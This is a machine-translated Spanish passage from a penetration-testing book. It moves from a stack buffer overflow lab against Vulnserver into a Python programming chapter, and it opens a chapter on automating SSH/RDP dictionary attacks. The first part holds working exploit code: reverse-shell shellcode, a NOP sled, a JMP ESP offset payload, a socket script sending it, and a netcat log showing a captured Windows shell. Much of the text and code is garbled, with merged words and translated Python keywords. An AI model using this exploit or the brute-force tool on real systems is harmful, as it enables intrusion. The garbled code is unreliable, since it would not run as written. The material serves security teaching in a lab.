buf+=b"\xba\x1e\x11\x43\xb1\xdb\xda\xd9\x74\x24\xf4\x5e\x2b" buf+=b"\ xc9\xb1\x52\x31\x56\x12\x83\xee\xfc\x03\x48\x1f\xa1" buf+=b"\x44\x88\xf7\xa7\xa7\x70\x08\xc8\x2e\x95 \x39\xc8\x55" buf+=b"\xde\x6a\xf8\x1e\xb2\x86\x73\x72\x26\x1c\xf1\x5b\x49" buf+=b"\x95\xbc\xbd\x64 \x26\xec\xfe\xe7\xa4\xef\xd2\xc7\x95" […] En el comando anterior, usamos las siguientes opciones: ÿp (carga útil): Windowsreverseshell. LHOST :KaliIPaddress. LPORT : El número de puerto que usaremos en nuestro oyente. ÿa (arquitectura):x86. ÿb (carácter incorrecto): Queremos excluir el carácter incorrecto\x00 de la carga útil. Los caracteres incorrectos harán que el código de shell falle. ÿf (formato de salida): Python. Personajes malos Ahora sabe que un carácter incorrecto hará que la carga útil falle, pero hay más. Entonces, ¿por qué \x00 es un carácter incorrecto de todos modos? La razón principal es que el sistema operativo manejará un carácter incorrecto como un byte NULO. \x0D :Retorno del carro \xFF : avance de formulario \x0A : Salto de línea \x00 : NULO ShellcodePythonScript Después de generar el código shell usando MSFvenom, ahora podemos enviar una carga útil al servidor remoto. Además, tenga en cuenta que agregaremos algunas diapositivas NOP (32 de Canal de Telegram : @IRFaraExam Machine Translated by Google ellos) antes de agregar el código shell: importsocket importsys buf=b"" buf+=b"\xba\x1e\x11\x43\xb1\xdb\xda\xd9\x74\x24\xf4\x5e\x2b" buf+=b"\xc9\xb1\x52\x31 \x56\x12\x83\xee\xfc\x03\x48\x1f\xa1" buf+=b"\x44\x88\xf7\xa7\xa7\x70\x08\xc8\x2e\x95\x39\xc8\x55" buf+=b"\xde\x6a\xf8\x1e\xb2\x86\x73\x72\x26\x1c\xf1\x5b\x49" buf+=b"\x95\xbc\xbd\x64\x26\xec\xfe\ xe7\xa4\xef\xd2\xc7\x95" buf+=b"\x3f\x27\x06\xd1\x22\xca\x5a\x8a\x29\x79\x4a\xbf\x64" buf+=b"\x42\ xe1\xf3\x69\xc2\x16\x43\x8b\xe3\x89\xdf\xd2\x23" buf+=b"\x28\x33\x6f\x6a\x32\x50\x4a\x24\xc9\xa2\x20 \xb7\x1b" buf+=b"\xfb\xc9\x14\x62\x33\x38\x64\xa3\xf4\xa3\x13\xdd\x06" […] #addtothebuffersomeNOPslides(32isacommonnumber) shellcode="\x90"*32+buf #Payload=2003A's+addresstotheJMPESP+shellcodetoejecut payload="A"* 2003 + "\ xAF \ x11 \ x50 \ x62" + código de shell pruebe: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) conn=s.connect(('172.16.0.102',9999)) s.recv(1024) s.send('TRUN/.:/'+ payload) s.recv(1024) excepto: print("ErrorOccured") sys.exit(0) finalmente: s.close() Después de guardar el script de Python, realice los siguientes pasos: 1. En el host de Windows, asegúrese de que Vulnserver.exe se esté ejecutando. 2. No usaremos Immunity para este ejercicio; solo queremos un shell remoto. 3. En Kali, inicie Netcatlistener ( $ nc - nlvp1111 ). 4. Ejecute el script de Python, ¡y debería obtener un caparazón! root@kali:~#nc-nlvp1111 escuchando en [cualquier] 1111... conectarse a [172.16.0.103] desde (DESCONOCIDO) [172.16.0.102] 50339 Canal de Telegram : @IRFaraExam Machine Translated by Google MicrosoftWindows[Versión 10.0.19041.630] (c)2020MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\Gus\Descargas\vulnserver-master\vulnserver-master>whoami whoami escritorio-0se33n2\gus Resumen En este capítulo, vio la forma común de explotar la pila, pero no es la única forma de hacerlo. Existen otras técnicas, como el controlador de excepciones estructurado (SEH) y Egghunter. En el siguiente capítulo, cubriremos los conceptos básicos del lenguaje de programación Python. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 17 Programando con Python Python es el lenguaje elegido por los piratas informáticos; es simple y convincente. Este fantástico lenguaje de programación proporciona una excelente plataforma de desarrollo para crear sus herramientas ofensivas. ¿Y adivina qué? Puede usarlo en cualquier plataforma, Windows, Mac o Linux. En este capítulo, aprenderá los siguientes conceptos en Python: CómoinstalaryusarPythondebuggeronKali Conceptos básicos de secuencias de comandos de Python Tipos de variables Cómodeclararunafunción Cómo manejar los bucles Condiciones de uso Cómo implementar la gestión de errores Cómo crear objetos de clase Conceptos básicos de Python Quizás se pregunte, ¿por qué elegir Python? Esta sección puede ayudarlo a tomar esa decisión. Hagamos algunas comparaciones primero. Cuando quiera comparar opciones, es mejor usar algún tipo de agrupación. Digamos que le gustan las hamburguesas, pero a su amigo John le gusta la pizza; Por ejemplo, si desea desarrollar una aplicación web empresarial, es mejor utilizar lenguajes de programación como C# o Java (y, a veces, PHP). Canal de Telegram : @IRFaraExam Machine Translated by Google Y si desea desarrollar controladores de hardware, debe profundizar en C ++ y el lenguaje ensamblador. Ahora viene la categoría de pruebas de penetración. En primer lugar, debe conocer Python y los conceptos básicos de Bashscripting (que ya cubrimos en el Capítulo 2, "Bash Scripting"). Ejecutar PythonScripts Para ejecutar una secuencia de comandos de Python , normalmente abre la ventana de su terminal y escribe la palabra clave python seguida del nombre de archivo/ruta de la secuencia de comandos de Python: raíz @ kali: ~ # python [python_file.py] Otra forma de ejecutar scripts de Python es utilizar el siguiente patrón: root@kali: ~#./[python_file.py] Aquí volvemos a suponer dos cosas, primero que está en el mismo directorio que el archivo de script (en la ventana de su terminal) y que le ha dado al archivo los permisos correctos usando el siguiente comando: raíz @ kali: ~ # chmod + x [python_file.py] La tercera mejor opción es simplemente escribir el nombre de archivo de Python: raíz @ kali: ~ # [python_file.py] Si desea ejecutar la secuencia de comandos de esa manera, deberá agregar el directorio (donde está guardando sus secuencias de comandos) a la variable PATH. Ya cubrimos esto en detalle en el Capítulo 2, donde cubrimos el lenguaje de secuencias de comandos Bash. Depuración de PythonScripts En un momento dado, desarrollará una secuencia de comandos grande con Python para ayudarlo a lograr sus objetivos de prueba de penetración. Cuando ese sea el caso, necesitará un software de entorno de desarrollo integrado (IDE) para que pueda depurar y detectar errores de programación. Usamos Visual Studio Code en Kali Linux en este capítulo y en el siguiente. Canal de Telegram : @IRFaraExam Machine Translated by Google Instalación de VSCodeonKali Es fantástico que los productos de Microsoft finalmente sean compatibles con Linux. En los viejos tiempos, esto era solo un sueño y era muy complicado ejecutar aplicaciones de Windows en un sistema operativo basado en Linux. Para descargar el archivo de instalación de VScode, use la siguiente URL: code.visualstudio.com/download. Una vez que se complete la descarga, abra su terminal y cambie su directorio actual a las carpetas Descargas (porque ahí es donde se encuentra la aplicación). En la ventana de la terminal, ejecute el siguiente comando (el nombre del archivo puede ser diferente en las versiones futuras de VSCode): root@kali:~/Downloads#dpkg-icode_1.51.1-1605051630_amd64.debSeleccionando código de paquete no seleccionado previamente. (Leyendo la base de datos… 345247 archivos y directorios actualmente instalados.) Preparando para desempaquetar código_1.51.1-1605051630_amd64.deb… Código de desempaquetado (1.51.1-1605051630)… Código de configuración (1.51.1-1605051630)… Processingtriggersfordesktop-file-utils(0.24-1)… Procesando disparadores de soporte de tiempo (3.64)… Processingtriggersforshared-mime-info(1.15-1)… Una vez finalizada la instalación, acceda al menú de Kali y escriba el nombre de la aplicación en el cuadro Buscar (consulte la Figura 17.1), y lo verá en los resultados de la búsqueda. Figura 17.1 Ejecutando VSCode Un último cambio que debe realizarse antes de comenzar a desarrollar secuencias de comandos de Python . ¡Debemos agregar la extensión de Python ! Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 17.2 Extensión de Python Finalmente, haga clic en el botón Instalar para instalar esta extensión. Cuando cree su primer script de Python, aparecerá un mensaje de VSCode en la parte inferior de la pantalla indicándole que instale Pylint (vea la Figura 17.3), y eso es lo único que queda para comenzar a usar este IDE para la programación de Python. Figura 17.3 Pylint PracticandoPython Tenga en cuenta que, en este capítulo, cubriremos la versión 3+ de Python. Desafortunadamente, la versión 2 ya no es compatible, pero aún puede usarla; no hay una gran diferencia en la sintaxis. Dicho esto, ¿qué sucede si desea practicar un escenario de Python rápidamente ? root@kali:~#python3 Python3.8.3(predeterminado, 14 de mayo de 2020, 11:03:12) [GCC9.3.0]enLinux Escriba"ayuda","derechos de autor","créditos"o"licencia"para obtener más información. >>> Canal de Telegram : @IRFaraExam Machine Translated by Google En esta etapa, puede probar rápidamente lo que quiera. Declaremos una variable de texto de cadena (llamada mensaje) e imprimámosla en la pantalla usando la función de impresión . Después de eso, usaremos el comando exit() para salir de la ventana del intérprete de Python: root@kali:~#python3 Python3.8.3(predeterminado, 14 de mayo de 2020, 11:03:12) [GCC9.3.0]enlinux Escriba"ayuda","derechos de autor","créditos"o"licencia"para obtener más información. >>>mensaje="¡Hola amigos!" >>>imprimir(mensaje) ¡Hola amigos! >>>salir() root@kali:~# NOTA Siempre guardamos las secuencias de comandos del código fuente de Python como archivos .py . PythonBasicSyntaxes Hay algunas sintaxis y patrones estándar en Python que debe tener en cuenta antes de continuar con este capítulo. Esta sección mostrará todas las formas populares de manejar el lenguaje Python; ¡comencemos! PythonShebang El Pythonshebang se logra agregando la ruta del intérprete de Python al host local (KaliLinux). La idea principal es ejecutar el archivo como un script y definir la versión del script también (Python 2 o 3). #!/usr/bin/python3 print("¡Hackeemos!") En la secuencia de comandos anterior, le indicamos al sistema operativo (KaliLinux) que utilice Python3. Además, si algún día compartimos este código con otras personas, también lo sabrán. Canal de Telegram : @IRFaraExam Machine Translated by Google sección. Comentarios en Python Para agregar comentarios en el script de Python, debe usar el signo de hash, . # Excepcionalmente, el shebang que usamos anteriormente no se trata como comentario, pero los hashes en el resto del script sí lo serán. Este es un ejemplo: #!/usr/bin/python3 #Imprimirunmensajeparaelusuario #[Todo]añadirmáslógicaposteriormente print("¡Hackeemos!") LineIndentationandImportingModules AnothercriticalconcepttounderstandinPythonishowtoindicatethatanew lineofsourcecodelogichasbeenstarted (youwillunderstanditwithexamples pronto) .Thisgenerallyhappensafteraconditionoraniteration (andmuchmore), whichwewillseelaterinthischapter.Inthefollowingexample, wewillusethe try / except statementtocatchanerrorifafiledidnotopenproperly (youwill seelaterinthischapterhowtheerrorhandlingworksinmoredetail) .Ifthis sucede, thenamessagewillindicatethatanerroroccurred.Noticethatwewill usetabsforlineindentationafterthe tratan syntaxandafterthe excepto sintaxis. El segundo concepto para comprender en esta sección es cómo importar otros módulos (a veces los llamamos bibliotecas) en Python. Los módulos son bibliotecas que usará dentro del script. Por ejemplo, cuando ocurre un error, desea que la aplicación salga. Para hacer el trabajo, puede usar la función sys.exit() . Pero para lograr su objetivo, primero debe importar el módulo sys en la parte superior de la secuencia de comandos utilizando la sintaxis de importación : #!/usr/bin/python3 importsys tratar: #Enestalíneautilicélapestañaparasangrado open_file=open("/usr/share/wordlists/nmap.lst") #usethetabheraswell print("¡El archivo se abrió con éxito!") excepto: #uselafichaaquí print("no se puede abrir el archivo") #yaquí Canal de Telegram : @IRFaraExam Machine Translated by Google salida del sistema (0) Entrada y salida En Python, puede ingresar datos en su secuencia de comandos mediante la ventana de terminal. Para que funcione, debe usar la sintaxis de entrada y almacenar su valor en una variable. Si desea usar use raw_input, la versión 2que de Python, siempre mantendrá el tipo de variable como una cadena. Para la parte de salida, la mayoría de las veces usará la función de impresión seguida del mensaje de texto que desea mostrar en la pantalla: #!/usr/bin/python3 ip_address=input(“Ingrese la dirección IP que desea escanear:“) print(“la dirección IP es:“ +dirección_ip) Impresión de argumentos CLI En el ejemplo anterior , usamos una forma interactiva de obtener alguna entrada del usuario. No siempre es así; puede leer los argumentos CLI mediante la función sys.argv . #!/usr/bin/python3 importsys print("Elnombredelaaplicaciónes:%s"%(sys.argv[0])) print("Elvalordelprimerargumentoes:%s"%(sys.argv[1])) La salida de este script (Isaveditas como temp.py ) cuando se ejecuta con el argumento H@K3R$ se verá así: root@kali:~/pythonLab#pythontemp.pyH@K3R$ El nombre de la aplicación es: temp.py El primer valor del argumento es: H@K3R$ Variables Las variables se utilizan en cualquier lenguaje de programación (no solo en Python) para almacenar datos temporales en la memoria. Canal de Telegram : @IRFaraExam Machine Translated by Google el código fuente. En Python tenemos múltiples tipos de variables, las más comunes son las siguientes: Numbers: Willstoredigits Strings: Willstoretext Listas: Willstoreanarraycoleccióndevalores Tuplas : Willstoreread-onlyarrayitems Diccionarios: Willstorepares clave-valor Números Digitnumberswillbestoredinthistypeofvariable.Let'sseeanexampleof howtousePythontostoreanumber.Inthefollowingexample, wewillcreatea variablethatwillholdtheportnumberthatwewanttoscanandthenprintthe valuetothescreen.Butbeforeprintingittothescreen, wewillusethe str functiontoconvertthenumbertoastring.Theplussignisusedtoappendthe stringstogether (theplusisnotusedasanadditionsymbol) .Inotherwords, que can'tappendastringtoaninteger; ithastobeconvertedfirsttoastringbefore printingittothescreen: port_number=80 print("Elnúmerodepuertoes" +str(número_puerto)) Abriremos Visual Studio Code y crearemos un nuevo archivo seleccionando el menú Archivo y haciendo clic en el elemento Nuevo archivo. A continuación, dentro del nuevo archivo, escribiremos el script de Python anterior. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 17.4 Depuración Si todo está bien (sin errores de escritura), entonces el terminal se encuentra en la parte inferior de la la pantalla debe mostrar los resultados que se muestran en la Figura 17.5. Figura 17.5 Salida ¡Felicitaciones! Esta es su primera secuencia de comandos oficial de Python utilizando un profesional AQUÍ. Operadores aritméticos En algunos escenarios, realizará operaciones aritméticas (suma, resta, etc.) en valores numéricos. Si ese es el caso, entonces tendrá que ser consciente de la lista de operadores que le permite realizar operaciones aritméticas, se muestra en la Tabla 17.1 . Tabla 17.1 Operadores aritméticos OPERADOR EJEMPLO DESCRIPCIÓN FIRMAR + ÿ num1+num2 Suma dos o más números num1ÿnum2 Resta dos o más números * num1*num2 Multiplica dos o más números / num1/num2 Divide dos o más números ** numero1** Calcula el valor exponencial de dos o más Canal de Telegram : @IRFaraExam Machine Translated by Google números numero2 % num1%num2 Calculaelresto(módulo)deladivisión resultado de dos o más números Instrumentos de cuerda En una variable de cadena, puede almacenar valores de texto. Puede almacenar texto en una variable de tres maneras: Conuna comilla única str1='10.0.0.1' Con comillas dobles str2="10.0.0.2" Con una comilla triple (para líneas múltiples) str3="""LadirecciónIPdeWindows el host que queremos escanear es 10.0.0.100""" Formato de cadena Para dar formato a una cadena de forma adecuada, necesita usar el operador de formato % . En el ejemplo de número, usamos el signo más para agregar un número entero a una frase (cadena). Pero la forma preferida de hacerlo es a través del operador de porcentaje como este: numero_de_puerto=80 print("Elnumerodepuertoes%d"%numero_de_puerto) El %d representa un entero decimal con signo. Hay muchos más símbolos de conversión que debe tener en cuenta al utilizar el formato de cadena (consulte la Tabla 17.2). Tabla 17.2 Formateadores de cadenas SÍMBOLO DESCRIPCIÓN %D Número decimal con signo %x o %X Número hexadecimal Canal de Telegram : @IRFaraExam Machine Translated by Google %e o %e Número exponencial %F número de coma flotante %C Personaje %s Cadena de texto Funciones de cadena En algunos escenarios, desearía ejecutar funciones en cadenas, por ejemplo, si desea conocer la longitud de una variable de cadena y mucho más. Hay muchas funciones de cadena, pero la tabla 17.3 enumera las más comunes (de hecho, hay muchas más que estas; En los ejemplos de la tabla 17.3, utilizaremos la siguiente variable de cadena: cadena = '10 .0.0.1 ' Tabla 17.3 Funciones de cadena FUNCIÓN DESCRIPCIÓN EJEMPLO len (cadena) Devuelve la longitud de un valor de cadena. >>> len (página) 8 reemplazar (valor antiguo, valor nuevo) Reemplaza un valor existente por otro. >>> split(delimiter) Divide un valor de texto de cadena en una matriz de subcadena usando un limitador (verá cómo manejar una matriz pronto). str.replace('.1','.0') '10.0.0.0' >>> cadena.dividir ('.') ['10', '0', '0', '1'] banda Elimina los caracteres iniciales >>> str.strip () '10.0.0.1' . Encontrar Encuentra todas las ocurrencias en una cadena. Si la búsqueda no tiene éxito, devuelve el índice de inicio; Contar >>>str.find('.1') 6 >>>str.cuenta('.') 3 Countshowmuchasvecesapareceunvalorenunacadena. Canal de Telegram : @IRFaraExam Machine Translated by Google Liza Una variable de lista es una colección de valores con diferentes tipos (cadena, enteros, etc.). Cada elemento de la lista tiene un número de índice y comienza en cero. En el siguiente ejemplo, estamos declarando una variable de lista para almacenar todos los números de puerto que queremos escanear: >>>lista_puertos=[21,22,80,443] >>>lista_puertos[0] 21 LecturaValoresenLista Para leer una sola lista de elementos, debe usar su número de índice, por ejemplo (basado en la variable anterior list_ports ): >>>lista_puertos[1] 22 Para leer una lista de varios elementos, debe seguir la fórmula [índice de inicio: índice hasta] y tener en cuenta que el índice hasta es exclusivo. Este es un ejemplo: >>>listar_puertos[0:3] [21,22,80] Actualización de elementos de lista Puede cambiar el contenido de una variable de lista. Para hacer el trabajo, solo necesita especificar el índice del valor que desea cambiar: >>>lista_puertos[0]='FTP' >>>lista_puertos ['FTP',22,80,443] Eliminación de un elemento de lista Para eliminar un elemento de lista, debe usar la palabra clave del y también identificar su índice. Para quitar el puerto 443 de la lista list_ports , debe ejecutar el siguiente comando: >>>dellist_ports[3] >>>list_ports ['FTP',22,80] Canal de Telegram : @IRFaraExam Machine Translated by Google tuplas Las tuplas son como listas, pero la diferencia principal es que las tuplas son de solo lectura y no se pueden cambiar. Cuando desee declarar una variable múltiple, debe usar paréntesis para encerrar los valores: >>>tuple_ports=(21,22,80,443) >>>tuple_ports[0] 21 Diccionario La variable adicional albergará una lista de pares de valores clave separados por dos puntos ( : ). El mejor ejemplo es visualizar cómo funciona este tipo utilizando el número de puerto ejemplo: >>>puertos_dic={'FTP':21,'HTTP':80} >>>puertos_dic['FTP'] 21 MásTécnicasenPython Acabamos de tocar la superficie de cómo manejar los conceptos básicos en Python. Cubriremos conceptos de programación más avanzados en las próximas secciones para construir sus programas con este fantástico lenguaje. Funciones Al igual que las variables, las funciones se crean para organizar el código y evitar redundancias, errores y malas prácticas de programación. El código se verá más legible y lógico cuando agreguemos funciones. deffunction_name(parámetros): #logicgoeshere return[valor/Ninguno] Con base en la estructura anterior, estas son las reglas para crear una función en Pitón: Canal de Telegram : @IRFaraExam Machine Translated by Google Antes del nombre de la función, debe agregar la palabra clave def (definición). Si su función tomará parámetros, debe agregarlos entre paréntesis después del nombre de la función. Antes de iniciar la función, debe agregar el carácter de dos puntos ( :) . El contenido de la función debe estar sangrado. Opcionalmente , puede agregar una declaración de devolución para informar que la función ha terminado de ejecutarse. Vamos a crear un ejemplo simple agregando una función que imprimirá cualquier mensaje que le enviaremos: defprint_text(valor_texto): imprimir(valor_texto) volver Valores devueltos En algunos casos, desea que su función devuelva algunos valores. Por ejemplo, desea devolver el nombre del servicio según el número de puerto: defget_serviceName(número_puerto): ports_services={21:'FTP',22:'SSH',80:'HTTP',443:'HTTPS'} returnports_services[número_puerto] imprimir (get_serviceName (21)) Argumentos opcionales También puede agregar argumentos opcionales dando el valor predeterminado si no se le ha pasado ningún valor. Usaremos el ejemplo anterior y haremos que el argumento del número de puerto sea opcional dándole un valor predeterminado de 80: defget_serviceName(número_puerto=80): puertos_servicios={21:'FTP',22:'SSH',80:'HTTP',443:'HTTPS'} returnports_services[port_number] #dado queportargisopcionalnovoyaatenerunvalorprint(get_serviceName()) Variables globales Las variables globales se ubican en el ámbito externo (p. ej., no en una función ni en un bucle, etc.) de una secuencia de comandos de Python y, por lo general, se definen al principio. Canal de Telegram : @IRFaraExam Machine Translated by Google para mostrar cómo funciona es a través de un ejemplo: #Estaesunavariableglobal default_portNumber=80 defprint_portNumber(): #Estaesunavariablelocalparalafunciónmisma default_portNumber=443 returndefault_portNumber print("Elvalorvariablelocal:%d"%print_portNumber()) print("Elvalorvariableglobal: %d"%default_portNumber) Ejecutar el script anterior dará el siguiente resultado: El valor de la variable local: 443 El valor de la variable global: 80 Cambio de variables globales ¿Qué sucede si desea cambiar la variable global desde dentro de una función? Si ese es el caso, entonces debe usar la sintaxis global: #Estaesunavariableglobal default_portNumber=80 defprint_portNumber(port_number): #Estaesunavariablelocalquepuedecambiarelvalordelavariableglobal globaldefault_portNumber default_portNumber=port_number returndefault_portNumber print("Elvalorvariablelocal:%d"%print_portNumber(443)) print("Elvalorvariableglobal: %d"%default_portNumber) Esta vez tenemos resultados diferentes a los ejemplos anteriores ya que cambiamos el valor de la variable global desde dentro de la función: El valor de la variable local: 443 El valor de la variable global: 443 Condiciones Las condiciones se cumplen a través de sentencias if ; comprobarán los resultados booleanos de una condición para evaluar la condición. Si el resultado devuelto es Verdadero , entonces , Canal de Telegram : @IRFaraExam Machine Translated by Google la condición se cumplirá, y la definición de Falso , la condición no se ejecutará. de ifit puede parecer elegante, pero el principio es sencillo cuando comienza a practicar. He aquí un ejemplo: deflogin(contraseña): if(contraseña=="MrRobot"): print("¡BienvenidoasociedadF!") secret=input("Ingrese su contraseña:") #llame a la función de inicio de sesión (secreto) Aquí se muestra cómo se ve en la ventana de salida: Ingrese su contraseña: MrRobot ¡Bienvenido a FSociety! if/ elseDeclaración En el ejemplo anterior, vio cómo iniciar sesión con una contraseña, pero ¿qué sucede si queremos mostrar otro mensaje cuando el usuario ingresa un no válido? En este caso, la declaración if / else hará el trabajo : deflogin(contraseña): if(contraseña=="MrRobot"): print("¡Bienvenido a la sociedad!") else: print("¡Hacker de contraseña incorrecta!") secreto = entrada ("Ingrese su contraseña:") inicio de sesión (secreto) El resultado será similar al siguiente si el usuario ingresa una contraseña incorrecta: Introduzca su contraseña: Gus WrongPasswordHacker! Operadores de comparación En el ejemplo de condición anterior, usamos el operador de comparación doble igual ( == ), pero hay muchos más que esto. La Tabla 17.4 enumera los operadores de comparación más comunes que deberá usar al aplicar una comparación declaración. Canal de Telegram : @IRFaraExam Machine Translated by Google Tabla 17.4 Operadores de comparación OPERADOR DESCRIPCIÓN EJEMPLO == Comprueba si el operando derecho y el operando >>>puerto_ftp== izquierdo son iguales puerto_http Falso Comprueba si el operando derecho no es igual al operando derecho >>>puerto_ftp!= Comprueba si el operando izquierdo es mayor que >>>puerto_ftp> el operando derecho puerto_http Falso Comprueba si el operando izquierdo es mayor >>>puerto_ftp>= 21 != > >= puerto_http Verdadero o igual que el operando derecho Cierto < <= Comprueba si el operando izquierdo es menor que el >>>puerto_ftp< operando derecho puerto_http Cierto Comprueba si el operando izquierdo es menor que >>> ftp_port <= el operando derecho 21 Cierto En los ejemplos de la tabla 17.4, estamos usando dos variables enteras: puerto_ftp=21 puerto_http=80 Iteraciones de bucle La sentencia de bucle iterará a través de líneas de código varias veces hasta que se cumplan las condiciones. Un buen ejemplo se basa en el anterior de la sentencia if ; whileLoop En este ejemplo, usaremos el ciclo while para permitir que el usuario ingrese la contraseña tres veces antes de que lo expulsemos del sistema: Canal de Telegram : @IRFaraExam Machine Translated by Google deflogin(contraseña): if(contraseña=="MrRobot"): print("¡Bienvenido a la sociedad!") else: print("¡Hacker de contraseña incorrecta!") intentos = 0 while (intentos <3): secreto = entrada ("Ingrese su contraseña:") inicio de sesión (secreto) intentos = intentos + 1 if(intentos==3): print("Se ha realizado el máximo de intentos, saliendo...") Aquí está la salida: Introduzca su contraseña: intento 1 ¡Hacker de contraseña incorrecta! Ingrese su contraseña: intent2 ¡Hacker de contraseña incorrecta! Ingrese su contraseña: intent3 ¡Hacker de contraseña incorrecta! Se ha realizado el máximo de intentos, saliendo... en bucle Podemos lograr el mismo objetivo de intento de contraseña usando un bucle for , que es más simple que el concepto de bucle while (prácticamente no uso el bucle while ; generalmente uso el bucle for en su lugar). deflogin(contraseña): if(contraseña=="MrRobot"): print("¡Bienvenido a la sociedad!") else: print("¡Hacker de contraseña incorrecta!") forattemptinrange(0,3): secret=input("Ingrese su contraseña:") login(secret) if(attempt==2): print("Se ha realizado el máximo de intentos, saliendo...") Se mostrará el mismo resultado que el ejemplo anterior. Tenga en cuenta que el rango (0,3) almacenará en la variable de intento esta secuencia 0, 1, 2 (y no 1, 2, 3) Canal de Telegram : @IRFaraExam Machine Translated by Google o 0,1,2,3). Por eso utilicé la condición if(attempt==2) para saber cuándo se maximizaron los intentos. Gestión de archivos Cuando se trata de administrar archivos en Python, tiene dos opciones: Abrir y leer (solo) un archivo Escribir en un archivo Abrir y leer un archivo en Python requerirá que use la función open y le dé dos parámetros: La ruta del archivo La letra r para indicar que estamos usando el modo de solo lectura En el siguiente ejemplo, abriremos un archivo adicional e imprimiremos las primeras 10 líneas elementos: #!/usr/bin/python3 importsys pruebe: open_file=open("/usr/share/wordlists/nmap.lst",'r') print("¡El archivo se abrió con éxito!") cuenta=0 forlineinopen_file: cuenta=cuenta+1 printline if(cuenta==100): break excepto: print("no se puede abrir el archivo") sys.exit(0) Para escribir en un archivo de Python, debe cambiar la letra r en la definición abierta y reemplazarla con la letra a (que significa agregar): #!/usr/bin/python3 defwrite_file(file_path,contenidos): prueba: open_file=open(file_path,'a') open_file.write(contenido) Canal de Telegram : @IRFaraExam Machine Translated by Google exceptoExceptionaserr: print("Error:%s"%str(err)) finalmente: volver #callthefunction write_file('/root/test.txt',"HackingTest\n") En el ejemplo anterior, debes prestar atención a dos conceptos esenciales (los conocerás en detalle en las siguientes secciones): Manejo de excepciones Caracteres de escape, como \n (nueva línea) Manejo de excepciones El manejo de excepciones/errores se asegurará de detectar un error cuando ocurra. Se debe usar el siguiente patrón cuando desee usar el manejo de errores: tratar: #Tucódigovaaquí excepto [ExceptionObjectType] como [variable]: #Aquí, usted maneja la excepción finalmente: #Addsomelogictoejecutealfinal Usamos el objeto de excepción ( Exceptionaserr ) en el ejemplo anterior ( función escribir_archivo). Aun así, hay muchos más tipos de objetos de excepción (tenga en cuenta que puede usar la palabra clave excepto sin la declaración de tipo de objeto de excepción, como lo hicimos en el ejemplo de abrir y leer archivo). Como probador de penetración, usará el tipo de objeto de excepción la mayor parte del tiempo. Caracteres de escape de texto En el ejemplo de escritura en archivo, usamos \n para agregar una nueva línea después de la inserción de un nuevo texto. Agregamos este carácter de escape para ver cómo manejar un caso similar. Tiene varias opciones de caracteres de escape que puede usar (consulte la Tabla 17.5). Tabla 17.5 Personajes de PythonEscape SÍMBOLO DESCRIPCIÓN \a Alerta Canal de Telegram : @IRFaraExam Machine Translated by Google \B Retroceso \Y Escapar \s Espacio \t Pestaña \norte Nueva línea \r Retorno del carro Objetos personalizados en Python Se crearon objetos o clases para organizar el código fuente en una forma aún más granular de lograr un desarrollo de código limpio. La declaración anterior es un poco filosófica; no se preocupe, comprenderá pronto qué clase (u objeto) es durante los próximos ejemplos. Los objetos de clase son útiles con programas grandes de código fuente. No cubriremos todas las técnicas de programación orientada a objetos en este capítulo porque no necesita un probador de penetración (es para programadores). Pero deberá tener en cuenta las siguientes terminologías: Miembros: estas son las variables públicas creadas dentro de una clase (por ejemplo, el miembro de texto creado en el siguiente ejemplo). Métodos: Estas son las funciones públicas creadas dentro de una clase (por ejemplo, el método print_red desarrollado en el siguiente ejemplo ). Constructor: esta es la función principal que se llama cuando se crea (instancia) el objeto de clase. Instanciar: esto es cuando el objeto de clase se declara fuera de su alcance (por ejemplo, el objeto de impresión creado en el siguiente ejemplo). Self: Esta es una palabra clave utilizada dentro de una tienda de clase presente en su instancia. Un ejemplo vale un trillón de palabras, empecemos por construir un objeto de clase de impresión para ver las cosas en la práctica. La siguiente clase tiene dos métodos (funciones): para imprimir un texto de color rojo y para imprimir un texto de color verde (imagine lo flexible que es esta clase; puede reutilizarla en cualquier programa que desarrolle): #!/usr/bin/python3 #Westartaclassherbyusingtheclasskeyword Canal de Telegram : @IRFaraExam Machine Translated by Google classPrintColor: #Variables de clase local red_color="\033[91m{}\033[00m" green_color="\033[92m{}\033[00m" #Classconstructorbyusingthe__init__function #self significa la propia clase; siempre debemos incluirlo como el primer parámetro def__init__(self,text): #Eltextoesunmiembrodeclase self.text=text #lasfuncionesqueestánexpuestassellamanmétodos #estafunciónpúblicaimprimirátextocolordefprint_red(self): print(self.red_color.format(self.text)) #estafunciónimprimirácolorverdetextodefprint_green(self): print(self.green_color.format(self.text)) #Aquí llamamos a la clase, la instanciamos creando un objeto aprnt prnt=PrintColor("Texto a imprimir") #Llamar al método de texto de impresión verde prnt.print_green() #Llamar al método de impresión de texto rojo prnt.print_red() Resumen Espero que haya disfrutado y practicado este capítulo. El pitonismo es mi elección para automatizar todos los escenarios de prueba de penetración. En el siguiente capítulo, verá cómo tomar lo que ha aprendido en este y aplicarlo para crear una herramienta de automatización. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 18 PentestAutomatizaciónconPython Amigos, ¡felicidades! Acaban de llegar al final de este libro. Rara vez la gente se compromete y se queda hasta el final. Este capítulo se centrará en cómo tomar una idea simple y luego implementarla en Python. Los inventores comienzan con una pequeña idea y, a partir de ahí, con voluntad (después de todos los fracasos), logran sus visiones. En este capítulo, explicaremos cómo tomar una idea de automatización y usarla como un probador de penetración. PenetraciónPruebaRobot La aplicación que usaremos en este capítulo se llama Penetration Test Robot ( pentest_robot.py ). Esta herramienta aprovechará los protocolos remotos en Windows y Linux OS. Para acceder a un sistema Windows, podemos usar RDP (puerto 3389) y para acceder a Linux OS de forma remota, podemos usar SSH (puerto 22). Esta herramienta pretende automatizar el proceso y escanear una sola I por rango y buscar estos dos servicios. Si están activos, la herramienta intentará automatizar un ataque de diccionario. AplicaciónFlujo de trabajo Los desarrolladores exitosos a menudo diseñan su aplicación antes de comenzar a codificar. Por lo general, utilizo Microsoft Visio para este fin. Como puede ver en la Figura 18.1 , el usuario ingresará una sola IP por rango (en formato CIDR), luego la aplicación realizará las siguientes acciones: 1. Valide la entrada. 2. Buscar hosts en vivo. 3. Los puertos escanean los hosts en vivo y buscan los puertos 22 y 3389. 4.Si los puertos están abiertos, intente un ataque de diccionario. Canal de Telegram : @IRFaraExam Machine Translated by Google 5. Guarde los resultados finales en un archivo de texto. Así es como se ve la versión final de la aplicación cuando se ejecuta: root @ kali: ~ / pythonLab 